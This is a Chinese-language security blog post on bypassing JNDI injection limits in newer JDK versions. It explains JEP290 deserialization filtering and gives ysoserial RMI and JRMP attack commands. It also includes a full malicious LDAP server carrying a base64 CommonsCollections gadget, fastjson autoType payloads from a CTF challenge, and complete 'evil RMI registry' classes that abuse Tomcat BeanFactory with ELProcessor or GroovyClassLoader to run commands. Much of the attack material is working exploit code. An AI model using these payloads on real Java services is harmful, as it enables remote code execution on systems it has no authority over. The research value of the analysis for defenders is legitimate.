JDK高版本下JNDI注入绕过

1.关于RMI

只启用RMI服务时,这时候RMI客户端能够去打服务端,有两种情况,第一种就是利用服务端本地的gadget,具体要看服务端pom.xml文件

比如yso中yso工具中已经集合了很多gadget chain

本地利用yso的打rmi注册表的模块

java 复制代码
java -cp .\ysoserial.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 9999 CommonsCollections1 calc.exe

此时在jdk1.7.0_21和jdk1.7.0_25以及jdk1.8.0上都可以成功,然而在一次攻击内网rmi服务的深思这篇文章中说到jdk8u121以后进行了一定的限制

jdk1.8.0_121测试如下:

这种防御机制即JEP290,在jdk8u121提出的,简单来说就是在反序列化过程中处理ObjectInputStream加入了filter接口来进行过滤,与JDK112相比,这是jdk的开发人员在private ObjectStreamClass readNonProxyDesc(boolean unshared)函数中的1832行添加了一个filterCheck函数来进行过滤

这里我们直接在filtercheck处下断点就能再debug就能得到所有的函数调用栈

因为是利用rmiRegistryxploit来打RMI注册表服务,因此这里在RegistryImpl_Skel类中的dispatch方法过后就调用readObject了,接下来一直到ObjectInputStream中的调用了filterCheck,此时可以看到其入口为最外层的remote接口

在filterCheck中将会对反序列化的类的数据类型进行判断,如果不是基础类型以及数组那么将对要反序列化的类进行白名单校验,其中method接口和proxy类都是在白名单里的,因为ysoserial构造的payload用到了动态代理,因此这里class sun.reflect.annotation.AnnotationInvocationHandler肯定不符合这里的过滤规则,因此这里过滤器将返回rejected报异常了。这里过滤将根据不同情况返回UNDECIDED,ALLOWED,REJECTED三种,其中白名单要匹配以下这些类

java 复制代码
java.lang.reflect.Proxy
java.rmi.server.UnicastRef
java.rmi.activation.ActivationId
java.rmi.server.UID
java.rmi.server.RMIClientSocketFactory
and java.rmi.server.RMIServerSocketFactory

此时客户端报错也可以看出被payload被过滤了,当然着JEP提供的这种过滤方式也支持我们自己配置,通过设置jdk.serialFilter或者直接在conf/security/java.properties中进行配置,具体的配置规则在http://openjdk.java.net/jeps/290 。 除了直接利用RMIregistryExploit,另外一种就是通过RMI listener的DGC机制来打RMI,我们知道只有当一个远程对象不受到任何本地引用和远程引用,这个远程对象才会结束生命周期。那么通过RMI注册表拿到远程对象的引用以后,肯定要与rmi服务端保持联系,以便于让服务端明白此时客户端已经收到远程对象的引用,并且要发心跳包给服务端(通知服务端客户端一直持有远程对象的引用)。所以DGC机制的通信过程和registryImpl没关系了,从下图的函数调用栈也可以看到DGCImpl_Skel后开始调用readObject了

打rmi registry的时候调用的实际上是registryImpl的checkinput,打DGC的时候调用的是DGCImpl的checkinput,上面的分析也已经知道jep290导致直接打rmi注册表的失败的原因是AnnotationInvocationHandler不在jdk允许反序列化的类白名单里,这个白名单就是jdk提供的一种内置过滤器,不需要开发人员做任何配置,那么jep290对DGC也提供了一些内置过滤器的白名单主要的类有,那白名单肯定也过不去了

java 复制代码
java.rmi.server.ObjID
java.rmi.server.UID
java.rmi.dgc.VMID
java.rmi.dgc.Lease 

那么这种方式传输的序列化数据到服务端反序列化在jdk版本上也有限制,jdk8u112可以,jdk8u121也不行了,但是yso里面还有一种攻击方式,就是利用rmi注册表内置白名单里的unicastRef类,即利用UnicastRef类的对象,其可以进行反序列化,通过其使受害者服务器回连我们的vps上监听的JRMPListener,从而利用受害者本地的gadget完成rce,因此这种方法优先性上yso中JRMPClient性能由于RMIRegistryExploit,这里借用bsmali4师傅的一张图,攻击流程如下图所示

java 复制代码
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 12345 CommonsCollecitons1 'calc.exe'

java -jar ysoserial.jar JRMPClient 'vpsIP:PORT' > vulrServer

2.关于JNDI

RMI动态类加载(指定远程codebase)主要相关属性:java.rmi.server.useCodebaseOnly=false,到jdk7u21时就不能成功了

利用客户端指定javacodebase来加载远程class文件,这种需要有useCodebaseOnly的限制和securityManager的限制

JNDI+RMI加载相关属性:com.sun.jndi.rmi.object.trustURLCodebase、com.sun.jndi.cosnaming.object.trustURLCodebase,不加打到8u112,112的后一个版本jdk121即不可成功

即使设置System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase","true")为true后可以打到jdk8u181,191也不行了

JNDI+LDAP相关属性:com.sun.jndi.ldap.object.trustURLCodebase

ldap高版本的也做了一定的限制,利用JNDI+LDAP可以一直到jdk8u181,到191以后ldap就不能成功了。

jdk>1.8.0_181高版本对JVM对通过Reference来加载远程工厂类也通过trustURLcodebase为false做了限制,但是如果受害者本地的有存在漏洞gadget那么也能打。这里参考雨了个雨师傅的ldapserver,我们只需要更改其中的javaSerializedata属性即可

java 复制代码
import com.unboundid.ldap.listener.InMemoryDirectoryServer;
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;
import com.unboundid.ldap.listener.InMemoryListenerConfig;
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;
import com.unboundid.ldap.sdk.Entry;
import com.unboundid.ldap.sdk.LDAPException;
import com.unboundid.ldap.sdk.LDAPResult;
import com.unboundid.ldap.sdk.ResultCode;
import com.unboundid.util.Base64;

import javax.net.ServerSocketFactory;
import javax.net.SocketFactory;
import javax.net.ssl.SSLSocketFactory;
import java.io.FileNotFoundException;
import java.net.InetAddress;
import java.net.MalformedURLException;
import java.net.URL;
import java.text.ParseException;

public class LDAPServer
{
    private static final String LDAP_BASE = "dc=example,dc=com";
    public static void main(String[] agv)
    {
        int port = 1389;
        String args[] = {"http://localhost:8000/#Exploit"};
        if ((args.length < 1) || (args[0].indexOf('#') < 0))
        {
            System.err.println(LDAPServer.class.getSimpleName() + " <codebase_url#classname> [<port>]");
            System.exit(-1);
        }
        else if (args.length > 1)
        {
            port = Integer.parseInt(args[1]);
        }
        try
        {
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(new String[] { "dc=example,dc=com" });
            config.setListenerConfigs(
                    new InMemoryListenerConfig[] {
                            new InMemoryListenerConfig(
                                    "listen",
                                    InetAddress.getByName("0.0.0.0"), port,
                                    ServerSocketFactory.getDefault(),
                                    SocketFactory.getDefault(),
                                    (SSLSocketFactory)SSLSocketFactory.getDefault()) }
            );
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[0])));
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);
            System.out.println("Listening on 0.0.0.0:" + port);
            ds.startListening();
        }
        catch (Exception e)
        {
            e.printStackTrace();
        }
    }
    private static class OperationInterceptor
            extends InMemoryOperationInterceptor
    {
        private URL codebase;
        public OperationInterceptor(URL cb)
        {
            this.codebase = cb;
        }
        public void processSearchResult(InMemoryInterceptedSearchResult result)
        {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try
            {
                sendResult(result, base, e);
            }
            catch (Exception e1)
            {
                e1.printStackTrace();
            }
        }
        protected void sendResult(InMemoryInterceptedSearchResult result, String base, Entry e)
                throws LDAPException, MalformedURLException, FileNotFoundException {
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);
            e.addAttribute("javaClassName", "foo");
            String cbstring = this.codebase.toString();
            int refPos = cbstring.indexOf('#');
            if (refPos > 0) {
                cbstring = cbstring.substring(0, refPos);
            }
//            e.addAttribute("javaCodeBase", cbstring);
//            e.addAttribute("objectClass", "javaNamingReference");
//            e.addAttribute("javaFactory", this.codebase.getRef());





            //jjj.toString()
       //gadget 内容放到 javaSerializeData中
            try {
                e.addAttribute("javaSerializedData",Base64.decode("rO0ABXNyAC5qYXZheC5tYW5hZ2VtZW50LkJhZEF0dHJpYnV0ZVZhbHVlRXhwRXhjZXB0aW9u1Ofa" +
                        "q2MtRkACAAFMAAN2YWx0ABJMamF2YS9sYW5nL09iamVjdDt4cgATamF2YS5sYW5nLkV4Y2VwdGlv" +
                        "btD9Hz4aOxzEAgAAeHIAE2phdmEubGFuZy5UaHJvd2FibGXVxjUnOXe4ywMABEwABWNhdXNldAAV" +
                        "TGphdmEvbGFuZy9UaHJvd2FibGU7TAANZGV0YWlsTWVzc2FnZXQAEkxqYXZhL2xhbmcvU3RyaW5n" +
                        "O1sACnN0YWNrVHJhY2V0AB5bTGphdmEvbGFuZy9TdGFja1RyYWNlRWxlbWVudDtMABRzdXBwcmVz" +
                        "c2VkRXhjZXB0aW9uc3QAEExqYXZhL3V0aWwvTGlzdDt4cHEAfgAIcHVyAB5bTGphdmEubGFuZy5T" +
                        "dGFja1RyYWNlRWxlbWVudDsCRio8PP0iOQIAAHhwAAAAA3NyABtqYXZhLmxhbmcuU3RhY2tUcmFj" +
                        "ZUVsZW1lbnRhCcWaJjbdhQIABEkACmxpbmVOdW1iZXJMAA5kZWNsYXJpbmdDbGFzc3EAfgAFTAAI" +
                        "ZmlsZU5hbWVxAH4ABUwACm1ldGhvZE5hbWVxAH4ABXhwAAAAUXQAJnlzb3NlcmlhbC5wYXlsb2Fk" +
                        "cy5Db21tb25zQ29sbGVjdGlvbnM1dAAYQ29tbW9uc0NvbGxlY3Rpb25zNS5qYXZhdAAJZ2V0T2Jq" +
                        "ZWN0c3EAfgALAAAAM3EAfgANcQB+AA5xAH4AD3NxAH4ACwAAACJ0ABl5c29zZXJpYWwuR2VuZXJh" +
                        "dGVQYXlsb2FkdAAUR2VuZXJhdGVQYXlsb2FkLmphdmF0AARtYWluc3IAJmphdmEudXRpbC5Db2xs" +
                        "ZWN0aW9ucyRVbm1vZGlmaWFibGVMaXN0/A8lMbXsjhACAAFMAARsaXN0cQB+AAd4cgAsamF2YS51" +
                        "dGlsLkNvbGxlY3Rpb25zJFVubW9kaWZpYWJsZUNvbGxlY3Rpb24ZQgCAy173HgIAAUwAAWN0ABZM" +
                        "amF2YS91dGlsL0NvbGxlY3Rpb247eHBzcgATamF2YS51dGlsLkFycmF5TGlzdHiB0h2Zx2GdAwAB" +
                        "SQAEc2l6ZXhwAAAAAHcEAAAAAHhxAH4AGnhzcgA0b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rp" +
                        "b25zLmtleXZhbHVlLlRpZWRNYXBFbnRyeYqt0ps5wR/bAgACTAADa2V5cQB+AAFMAANtYXB0AA9M" +
                        "amF2YS91dGlsL01hcDt4cHQAA2Zvb3NyACpvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMu" +
                        "bWFwLkxhenlNYXBu5ZSCnnkQlAMAAUwAB2ZhY3Rvcnl0ACxMb3JnL2FwYWNoZS9jb21tb25zL2Nv" +
                        "bGxlY3Rpb25zL1RyYW5zZm9ybWVyO3hwc3IAOm9yZy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9u" +
                        "cy5mdW5jdG9ycy5DaGFpbmVkVHJhbnNmb3JtZXIwx5fsKHqXBAIAAVsADWlUcmFuc2Zvcm1lcnN0" +
                        "AC1bTG9yZy9hcGFjaGUvY29tbW9ucy9jb2xsZWN0aW9ucy9UcmFuc2Zvcm1lcjt4cHVyAC1bTG9y" +
                        "Zy5hcGFjaGUuY29tbW9ucy5jb2xsZWN0aW9ucy5UcmFuc2Zvcm1lcju9Virx2DQYmQIAAHhwAAAA" +
                        "BXNyADtvcmcuYXBhY2hlLmNvbW1vbnMuY29sbGVjdGlvbnMuZnVuY3RvcnMuQ29uc3RhbnRUcmFu" +
                        "c2Zvcm1lclh2kBFBArGUAgABTAAJaUNvbnN0YW50cQB+AAF4cHZyABFqYXZhLmxhbmcuUnVudGlt" +
                        "ZQAAAAAAAAAAAAAAeHBzcgA6b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmZ1bmN0b3Jz" +
                        "Lkludm9rZXJUcmFuc2Zvcm1lcofo/2t7fM44AgADWwAFaUFyZ3N0ABNbTGphdmEvbGFuZy9PYmpl" +
                        "Y3Q7TAALaU1ldGhvZE5hbWVxAH4ABVsAC2lQYXJhbVR5cGVzdAASW0xqYXZhL2xhbmcvQ2xhc3M7" +
                        "eHB1cgATW0xqYXZhLmxhbmcuT2JqZWN0O5DOWJ8QcylsAgAAeHAAAAACdAAKZ2V0UnVudGltZXVy" +
                        "ABJbTGphdmEubGFuZy5DbGFzczurFteuy81amQIAAHhwAAAAAHQACWdldE1ldGhvZHVxAH4AMgAA" +
                        "AAJ2cgAQamF2YS5sYW5nLlN0cmluZ6DwpDh6O7NCAgAAeHB2cQB+ADJzcQB+ACt1cQB+AC8AAAAC" +
                        "cHVxAH4ALwAAAAB0AAZpbnZva2V1cQB+ADIAAAACdnIAEGphdmEubGFuZy5PYmplY3QAAAAAAAAA" +
                        "AAAAAHhwdnEAfgAvc3EAfgArdXIAE1tMamF2YS5sYW5nLlN0cmluZzut0lbn6R17RwIAAHhwAAAA" +
                        "AXQACGNhbGMuZXhldAAEZXhlY3VxAH4AMgAAAAFxAH4AN3NxAH4AJ3NyABFqYXZhLmxhbmcuSW50" +
                        "ZWdlchLioKT3gYc4AgABSQAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAA" +
                        "AAABc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAJGAApsb2FkRmFjdG9ySQAJdGhyZXNo" +
                        "b2xkeHA/QAAAAAAAAHcIAAAAEAAAAAB4eA=="));
                result.sendSearchEntry(e);
                result.setResult(new LDAPResult(0, ResultCode.SUCCESS));
            } catch (ParseException ex) {
                ex.printStackTrace();
            }
        }


    }
}

客户端只要对服务端进行查询即可

java 复制代码
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
import com.alibaba.fastjson.JSON;
public class LDAPClient1 {
    public static void main(String[] args) throws NamingException {
        Context ctx = new InitialContext();
        Object object = ctx.lookup("ldap://127.0.0.1:1389/Exploit");
       
    }
}

高版本的java对gadget可能有限制,因此要选用合适的gadget进行测试

下断点分析一下:

在com/sun/jndi/ldap/LdapCtx.class中,此时调用类obj的decodeObject函数来对javaSerializeData中的数据进行反序列化

然后在decodeObject函数中将对序列化存储的字符数据还原为对象

这里首先通过BasicAttribute拿到序列化数据的数组,然后在deserializeObject函数中还原为Object后再通过var20调用readObject()函数触发利用链

然后在deserializeObject函数中对var20调用readObject()函数触发利用链,此时用的CommenCollections6,打3.1

3.空指针的两道利用

在空指针那个题目中1.2.61的fastjson开了autoType的,有两种利用方法:

第一种:

java 复制代码
{"@type":"org.apache.commons.proxy.provider.remoting.RmiProvider","host":"127.0.0.1",port:"1099","name":"tr1ple"}

这里明显存在RMI的利用,getObject函数的lookup函数,并且因此可以通过起一个JRMPlistener即可

其中这里host和port和name都可控

测试结果:

第二种:

利用SessionBeanProvider这个类

java 复制代码
{"@type":"org.apache.commons.proxy.provider.remoting.SessionBeanProvider", "jndiName":"ldap://127.0.0.1:1389/tr1ple","Object":"tr1ple2333"}

其getObject函数中明显存在jndi注入,不过本地测试需要自己起一个tomcat

其中payload要打两次,因为第一次需要将payload放进mappings,第二次在检测黑名单之前就能够在mapping中找到该类从而返回claaz

因为开了autotype,所以cacheclass为true,因此在parseConfig的1039行中调用了TypeUtils.loadClass将把SessionBeanProvider放到mappings中

第二次打的时候就可以从mappings中取到了

4.利用本地工厂类

复制代码
tomcat8 :
 Tomcat 8+ or SpringBoot 1.2.x+ in classpath,because javax.el.ELProcessor.

payload.java

java 复制代码
package payloads;
import com.sun.jndi.rmi.registry.*;
import javax.naming.*;
import org.apache.naming.ResourceRef;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import javax.el.ELProcessor;
import org.apache.naming.factory.BeanFactory;
public class rmi {
    public static void main(String[] args) throws Exception {
        System.out.println("Creating evil RMI registry on port 1099");
        Registry registry = LocateRegistry.createRegistry(1099);

        //prepare payload that exploits unsafe reflection in org.apache.naming.factory.BeanFactory
        ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
        //redefine a setter name for the 'x' property from 'setX' to 'eval', see BeanFactory.getObjectInstance code
        ref.add(new StringRefAddr("forceString", "x=eval"));
        //expression language to execute 'nslookup jndi.s.artsploit.com', modify /bin/sh to cmd.exe if you target windows
        ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc']).start()\")"));

        ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
        registry.bind("Object", referenceWrapper);
    }
}

利用要求是资源类要存在一个无参的构造函数,因为

并且这个类能够执行命令,并且执行命令的函数必须只有一个参数

目前网上找到有两种利用方法:

第一种利用:

org.apache.naming.factory.BeanFactory + javax.el.ELProcessor

声明一个x=eval ,将把EL类的eval方法放进hashmap

然后判断addtype的属性是否为那几个,不为则取出其内容,然后从hashmap里面取出这个属性的方法

然后再反射调用执行命令

第二种利用:

org.apache.naming.factory.BeanFactory + groovy.lang.GroovyClassLoader

其存在parseClass(java.lang.String)

java 命令执行:

java 复制代码
package payloads;

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import org.apache.naming.ResourceRef;

import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class rmi2 {
public static void main(String[] args) throws RemoteException, NamingException, AlreadyBoundException {
System.out.println("Creating evil RMI registry on port 1099");
Registry registry = LocateRegistry.createRegistry(1099);
ResourceRef ref = new ResourceRef("groovy.lang.GroovyClassLoader", null, "", "", true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=parseClass"));
String script = "@groovy.transform.ASTTest(value={\n" +
" assert java.lang.Runtime.getRuntime().exec(\"calc.exe\")\n" +
"})\n" +
"def x\n";
ref.add(new StringRefAddr("x",script));
ReferenceWrapper referenceWrapper = new com.sun.jndi.rmi.registry.ReferenceWrapper(ref);
registry.bind("Object", referenceWrapper);

el + script engine执行命令:

windows:

1.new ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['cmd','/c','calc.exe']).start();\")");

2.new ELProcessor().eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")");

参考:

.空指针-treasure wp

2.空指针-treasure-Writeup

3.一次攻击内网rmi服务的深思

java高版本打rmi注册表

4.https://xz.aliyun.com/t/2650#toc-1

5.Exploiting JNDI Injections in Java | Veracode blog

6.404 Page not found | MOGWAI LABS

7.Serialization Filtering

8.https://www.cnblogs.com/Welk1n/p/11066397.html tomcat

9.访问的文章审核中... - FreeBuf网络安全行业门户

10.Remote Method Invocation (RMI) - Learning Java [Book] 讲rmi的

相关推荐
Koi慢热2 分钟前
路由基础(全)
linux·网络·网络协议·安全
天天扭码18 分钟前
五天SpringCloud计划——DAY2之单体架构和微服务架构的选择和转换原则
java·spring cloud·微服务·架构
程序猿进阶18 分钟前
堆外内存泄露排查经历
java·jvm·后端·面试·性能优化·oom·内存泄露
FIN技术铺23 分钟前
Spring Boot框架Starter组件整理
java·spring boot·后端
小曲程序30 分钟前
vue3 封装request请求
java·前端·typescript·vue
陈王卜1 小时前
django+boostrap实现发布博客权限控制
java·前端·django
小码的头发丝、1 小时前
Spring Boot 注解
java·spring boot
java亮小白19971 小时前
Spring循环依赖如何解决的?
java·后端·spring
飞滕人生TYF1 小时前
java Queue 详解
java·队列
武子康1 小时前
大数据-230 离线数仓 - ODS层的构建 Hive处理 UDF 与 SerDe 处理 与 当前总结
java·大数据·数据仓库·hive·hadoop·sql·hdfs